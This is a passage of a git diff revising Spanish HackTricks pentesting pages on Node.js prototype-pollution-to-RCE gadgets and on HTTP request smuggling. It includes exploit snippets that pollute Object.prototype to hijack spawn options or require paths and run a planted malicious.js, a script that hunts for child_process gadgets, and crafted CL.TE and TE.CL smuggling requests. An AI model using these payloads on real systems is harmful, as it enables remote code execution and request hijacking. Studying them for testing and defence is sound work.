// NOT working after require(fix) without options
|
||||||
</div>
|
const { spawnSync } = require('child_process');
|
||||||
|
p = {}
|
||||||
|
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||||
|
var proc = spawnSync('something');
|
||||||
|
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -325,27 +461,45 @@ En los ejemplos anteriores viste cómo activar la funcionalidad de un gadget que
|
||||||
|
|
||||||
### Controlando una ruta de archivo require
|
### Controlando una ruta de archivo require
|
||||||
|
|
||||||
En este [**otro informe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) el usuario puede controlar la ruta del archivo donde se ejecutará un **`require`**. En ese escenario, el atacante solo necesita **encontrar un archivo `.js` dentro del sistema** que **ejecute un método spawn al ser importado.**\
|
En este [**otro artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) el usuario puede controlar la ruta del archivo donde se ejecutará un **`require`**. En ese escenario, el atacante solo necesita **encontrar un archivo `.js` dentro del sistema** que **ejecute un método spawn al ser importado.**\
|
||||||
Algunos ejemplos de archivos comunes que llaman a una función spawn al ser importados son:
|
Algunos ejemplos de archivos comunes que llaman a una función spawn al ser importados son:
|
||||||
|
|
||||||
* /path/to/npm/scripts/changelog.js
|
* /path/to/npm/scripts/changelog.js
|
||||||
* /opt/yarn-v1.22.19/preinstall.js
|
* /opt/yarn-v1.22.19/preinstall.js
|
||||||
* Encuentra **más archivos a continuación**
|
* Encuentra **más archivos a continuación**
|
||||||
|
|
||||||
El siguiente script simple buscará **llamadas** desde **child\_process** **sin ningún relleno** (para evitar mostrar llamadas dentro de funciones):
|
El siguiente script simple buscará **llamadas** de **child\_process** **sin ningún relleno** (para evitar mostrar llamadas dentro de funciones):
|
||||||
|
|
||||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
||||||
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
||||||
done
|
done
|
||||||
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
|
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
|
||||||
````
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
#### Estableciendo la ruta del archivo requerido mediante la contaminación de prototipos
|
<details>
|
||||||
|
|
||||||
|
<summary>Archivos interesantes encontrados por el script anterior</summary>
|
||||||
|
|
||||||
|
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
|
||||||
|
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
|
||||||
|
* node\_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
|
||||||
|
* node\_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
|
||||||
|
* node\_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
|
||||||
|
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
|
||||||
|
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
|
||||||
|
* node\_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
|
||||||
|
* node\_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
### Estableciendo la ruta del archivo requerido mediante la contaminación de prototipos
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
La **técnica anterior requiere** que el **usuario controle la ruta del archivo** que va a ser **requerido**. Pero esto no siempre es cierto.
|
La **técnica anterior requiere** que el **usuario controle la ruta del archivo** que va a ser **requerido**. Pero esto no siempre es cierto.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
Sin embargo, si el código va a ejecutar un require después de la contaminación de prototipos, incluso si **no controlas la ruta** que va a ser requerida, **puedes forzar una diferente abusando de la contaminación de prototipos**. Por lo tanto, aunque la línea de código sea `require("./a_file.js")` o `require("bytes")`, **requerirá el paquete que hayas contaminado**.
|
Sin embargo, si el código va a ejecutar un require después de la contaminación de prototipos, incluso si **no controlas la ruta** que va a ser requerida, **puedes forzar una diferente abusando de la contaminación de prototipos**. Por lo tanto, aunque la línea de código sea `require("./a_file.js")` o `require("bytes")`, **requerirá el paquete que hayas contaminado**.
|
||||||
|
|
||||||
|
@ -354,12 +508,14 @@ Por lo tanto, si se ejecuta un require después de tu contaminación de prototip
|
||||||
* Encuentra un **archivo `.js` dentro del sistema** que cuando sea **requerido** **ejecutará algo usando `child_process`**
|
* Encuentra un **archivo `.js` dentro del sistema** que cuando sea **requerido** **ejecutará algo usando `child_process`**
|
||||||
* Si puedes subir archivos a la plataforma que estás atacando, podrías subir un archivo así
|
* Si puedes subir archivos a la plataforma que estás atacando, podrías subir un archivo así
|
||||||
* Contamina las rutas para **forzar la carga del require del archivo `.js`** que ejecutará algo con `child_process`
|
* Contamina las rutas para **forzar la carga del require del archivo `.js`** que ejecutará algo con `child_process`
|
||||||
* **Contamina el entorno/cmdline** para ejecutar código arbitrario cuando se llame a una función de ejecución de `child_process` (ver las técnicas iniciales)
|
* **Contamina el environ/cmdline** para ejecutar código arbitrario cuando se llame a una función de ejecución de `child_process` (ver las técnicas iniciales)
|
||||||
|
|
||||||
**Require absoluto**
|
#### Require absoluto
|
||||||
|
|
||||||
Si el require realizado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
|
Si el require realizado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="exploit" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
|
@ -387,17 +543,20 @@ var proc = require('bytes');
|
||||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="malicious.js" %}
|
||||||
```javascript
|
```javascript
|
||||||
const { fork } = require('child_process');
|
const { fork } = require('child_process');
|
||||||
console.log("Hellooo from malicious");
|
console.log("Hellooo from malicious");
|
||||||
fork("anything");
|
fork("anything");
|
||||||
```
|
```
|
||||||
|
#### Ruta relativa require - 1
|
||||||
**Require relativo - 1**
|
|
||||||
|
|
||||||
Si se carga una **ruta relativa** en lugar de una ruta absoluta, puedes hacer que node **cargue una ruta diferente**:
|
Si se carga una **ruta relativa** en lugar de una ruta absoluta, puedes hacer que node **cargue una ruta diferente**:
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="exploit" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
|
@ -423,16 +582,21 @@ var proc = require('./relative_path.js');
|
||||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="malicious.js" %}
|
||||||
```javascript
|
```javascript
|
||||||
const { fork } = require('child_process');
|
const { fork } = require('child_process');
|
||||||
console.log("Hellooo from malicious");
|
console.log("Hellooo from malicious");
|
||||||
fork('/path/to/anything');
|
fork('/path/to/anything');
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
**Requerimiento relativo - 2**
|
#### Require relativo - 2
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% tabs %}
|
||||||
|
{% tab title="exploit" %}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
// Contents of malicious.js in the other tab
|
// Contents of malicious.js in the other tab
|
||||||
|
@ -459,11 +623,20 @@ var proc = require('./relative_path.js');
|
||||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
\`\`\`javascript const { fork } = require('child\_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); \`\`\` #### Require relativo - 3
|
{% tab title="malicious.js" %}
|
||||||
|
```javascript
|
||||||
|
const { fork } = require('child_process');
|
||||||
|
console.log("Hellooo from malicious");
|
||||||
|
fork('/path/to/anything');
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
Similar al anterior, esto se encontró en [**este informe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
#### Require relativo - 3
|
||||||
|
|
||||||
|
Similar al anterior, esto fue encontrado en [**este informe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||||
```javascript
|
```javascript
|
||||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||||
Object.prototype["data"] = {
|
Object.prototype["data"] = {
|
||||||
|
@ -482,30 +655,42 @@ Object.prototype.env = {
|
||||||
|
|
||||||
require('./usage.js')
|
require('./usage.js')
|
||||||
```
|
```
|
||||||
|
## Gadgets de VM
|
||||||
|
|
||||||
### Dispositivos VM
|
En el documento [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** de algunos métodos de la biblioteca **`vm`** podría ser utilizado como un gadget.\
|
||||||
|
|
||||||
En el documento [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** de algunos métodos de la biblioteca **`vm`** podría ser utilizado como un dispositivo.\
|
|
||||||
Sin embargo, al igual que los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
|
Sin embargo, al igual que los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
|
||||||
|
|
||||||
### Soluciones y Protecciones inesperadas
|
## Correcciones y Protecciones inesperadas
|
||||||
|
|
||||||
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto al que se accede es **indefinido**. Si en el **código** de ese **atributo** se **asigna** un **valor**, no podrás sobrescribirlo.
|
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto al que se accede es **indefinido**. Si en el **código** ese **atributo** se **establece** con un **valor**, no podrás sobrescribirlo.
|
||||||
|
|
||||||
En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de ser `{}` es un **`kEmptyObject`**. Esto **evita que la contaminación de prototipos** afecte a los **atributos** de **`options`** para obtener RCE.\
|
En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de ser `{}` es un **`kEmptyObject`**. Lo cual **evita que la contaminación de prototipos** afecte a los **atributos** de **`options`** para obtener RCE.\
|
||||||
Al menos a partir de la versión 18.4.0, esta protección ha sido **implementada**, por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan a los métodos **ya no funcionan** (¡si no se utilizan `options`!).
|
Al menos a partir de la versión 18.4.0 esta protección ha sido **implementada**, y por lo tanto los **exploits** de `spawn` y `spawnSync` que afectan a los métodos **ya no funcionan** (¡si no se utilizan `options`!).
|
||||||
|
|
||||||
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm también fue **arreglada** estableciendo las opciones a **`kEmptyObject`** en lugar de **`{}`.**
|
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm también fue **arreglada** estableciendo las opciones como **`kEmptyObject`** en lugar de **`{}`.**
|
||||||
|
|
||||||
#### **Otros Dispositivos**
|
### **Otros Gadgets**
|
||||||
|
|
||||||
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||||
|
* [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||||
|
|
||||||
### Referencias
|
## Referencias
|
||||||
|
|
||||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||||
* [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
* [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||||
* [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
* [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Ataque de Desincronización de Solicitudes HTTP / Ataque de Desincronización HTTP
|
# Ataque de Solicitudes HTTP Smuggling / Desincronización HTTP
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -7,16 +7,16 @@
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## ¿Qué es?
|
## Qué es
|
||||||
|
|
||||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** **enviar** una solicitud HTTP que será **interpretada** como una **sola solicitud** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el **servidor de back-end**.\
|
Esta vulnerabilidad ocurre cuando una **desincronización** entre **proxies de front-end** y el **servidor de back-end** permite a un **atacante** **enviar** una **solicitud HTTP** que será **interpretada** como una **sola solicitud** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el **servidor de back-end**.\
|
||||||
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor de back-end después de la suya**.
|
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor de back-end después de la suya**.
|
||||||
|
|
||||||
### Teoría
|
### Teoría
|
||||||
|
@ -36,33 +36,33 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid
|
||||||
|
|
||||||
### Realidad
|
### Realidad
|
||||||
|
|
||||||
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el **servidor de Back-End** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
|
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el **servidor de Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
|
||||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 solicitudes diferentes**. El **peligro** de esta técnica radica en el hecho de que el **servidor de back-end interpretará la 2da solicitud inyectada** como si **hubiera venido del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 solicitudes diferentes**. El **peligro** de esta técnica radica en el hecho de que el **servidor de back-end interpretará la 2da solicitud inyectada** como si **hubiera venido del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
||||||
|
|
||||||
### Particularidades
|
### Particularidades
|
||||||
|
|
||||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
||||||
|
|
||||||
* **Content-Length:** Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
|
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
|
||||||
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **próximo fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **próximo fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||||
* **Connection:** Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del ataque de Desincronización de Solicitudes.
|
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Request Smuggling.
|
||||||
|
|
||||||
## Ejemplos Básicos
|
## Ejemplos Básicos
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Cuando intentes explotar esto con Burp Suite **desactiva `Actualizar Longitud de Contenido` y `Normalizar saltos de línea HTTP/1`** en el repetidor porque algunos gadgets abusan de saltos de línea, retornos de carro y longitudes de contenido malformadas.
|
Cuando intentes explotar esto con Burp Suite **desactiva `Actualizar longitud de contenido` y `Normalizar saltos de línea HTTP/1`** en el repetidor porque algunos gadgets abusan de saltos de línea, retornos de carro y longitudes de contenido malformadas.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Los ataques de desincronización de solicitudes HTTP se crean enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL** y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de los servidores procesando la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
|
Los ataques de solicitud HTTP smuggling se crean enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL** y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de los servidores procesando la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
|
||||||
|
|
||||||
### Ejemplos Básicos de Tipos de Vulnerabilidad
|
### Ejemplos Básicos de Tipos de Vulnerabilidad
|
||||||
|
|
||||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||||
|
|
||||||
#### Vulnerabilidad CL.TE (Content-Length utilizado por Front-End, Transfer-Encoding utilizado por Back-End)
|
#### Vulnerabilidad CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)
|
||||||
|
|
||||||
* **Front-End (CL):** Procesa la solicitud en función del encabezado `Content-Length`.
|
* **Front-End (CL):** Procesa la solicitud basándose en el encabezado `Content-Length`.
|
||||||
* **Back-End (TE):** Procesa la solicitud en función del encabezado `Transfer-Encoding`.
|
* **Back-End (TE):** Procesa la solicitud basándose en el encabezado `Transfer-Encoding`.
|
||||||
* **Escenario de Ataque:**
|
* **Escenario de Ataque:**
|
||||||
* El atacante envía una solicitud donde el valor del encabezado `Content-Length` no coincide con la longitud real del contenido.
|
* El atacante envía una solicitud donde el valor del encabezado `Content-Length` no coincide con la longitud real del contenido.
|
||||||
* El servidor de front-end reenvía toda la solicitud al back-end, basándose en el valor de `Content-Length`.
|
* El servidor de front-end reenvía toda la solicitud al back-end, basándose en el valor de `Content-Length`.
|
||||||
|
@ -82,10 +82,10 @@ GET /404 HTTP/1.1
|
||||||
Foo: x
|
Foo: x
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Vulnerabilidad TE.CL (Transfer-Encoding utilizado por Front-End, Content-Length utilizado por Back-End)
|
#### Vulnerabilidad TE.CL (Transfer-Encoding usado por Front-End, Content-Length usado por Back-End)
|
||||||
|
|
||||||
* **Front-End (TE):** Procesa la solicitud en función del encabezado `Transfer-Encoding`.
|
* **Front-End (TE):** Procesa la solicitud basándose en el encabezado `Transfer-Encoding`.
|
||||||
* **Back-End (CL):** Procesa la solicitud en función del encabezado `Content-Length`.
|
* **Back-End (CL):** Procesa la solicitud basándose en el encabezado `Content-Length`.
|
||||||
* **Escenario de Ataque:**
|
* **Escenario de Ataque:**
|
||||||
* El atacante envía una solicitud fragmentada donde el tamaño del fragmento (`7b`) y la longitud real del contenido (`Content-Length: 4`) no se alinean.
|
* El atacante envía una solicitud fragmentada donde el tamaño del fragmento (`7b`) y la longitud real del contenido (`Content-Length: 4`) no se alinean.
|
||||||
* El servidor de front-end, respetando `Transfer-Encoding`, reenvía toda la solicitud al back-end.
|
* El servidor de front-end, respetando `Transfer-Encoding`, reenvía toda la solicitud al back-end.
|
||||||
|
@ -114,7 +114,7 @@ x=
|
||||||
* **Servidores:** Ambos admiten `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo mediante obfuscación.
|
* **Servidores:** Ambos admiten `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo mediante obfuscación.
|
||||||
* **Escenario de Ataque:**
|
* **Escenario de Ataque:**
|
||||||
* El atacante envía una solicitud con encabezados de `Transfer-Encoding` obfuscados.
|
* El atacante envía una solicitud con encabezados de `Transfer-Encoding` obfuscados.
|
||||||
* Dependiendo de qué servidor (front-end o back-end) no reconoce la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
|
* Dependiendo de qué servidor (frontal o trasero) no reconoce la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
|
||||||
* La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud posterior, lo que lleva al contrabando.
|
* La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud posterior, lo que lleva al contrabando.
|
||||||
* **Ejemplo:**
|
* **Ejemplo:**
|
||||||
|
|
||||||
|
@ -135,7 +135,7 @@ Transfer-Encoding
|
||||||
: chunked
|
: chunked
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Escenario CL.CL (Content-Length utilizado por ambos Front-End y Back-End):**
|
#### **Escenario CL.CL (Content-Length utilizado por ambos, Front-End y Back-End):**
|
||||||
|
|
||||||
* Ambos servidores procesan la solicitud basándose únicamente en el encabezado `Content-Length`.
|
* Ambos servidores procesan la solicitud basándose únicamente en el encabezado `Content-Length`.
|
||||||
* Este escenario típicamente no conduce al contrabando, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.
|
* Este escenario típicamente no conduce al contrabando, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.
|
||||||
|
@ -165,6 +165,12 @@ Connection: keep-alive
|
||||||
Cuerpo no vacío
|
Cuerpo no vacío
|
||||||
```
|
```
|
||||||
|
|
||||||
|
#### Rompiendo el servidor web
|
||||||
|
|
||||||
|
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP se considerará la **siguiente solicitud HTTP**.
|
||||||
|
|
||||||
|
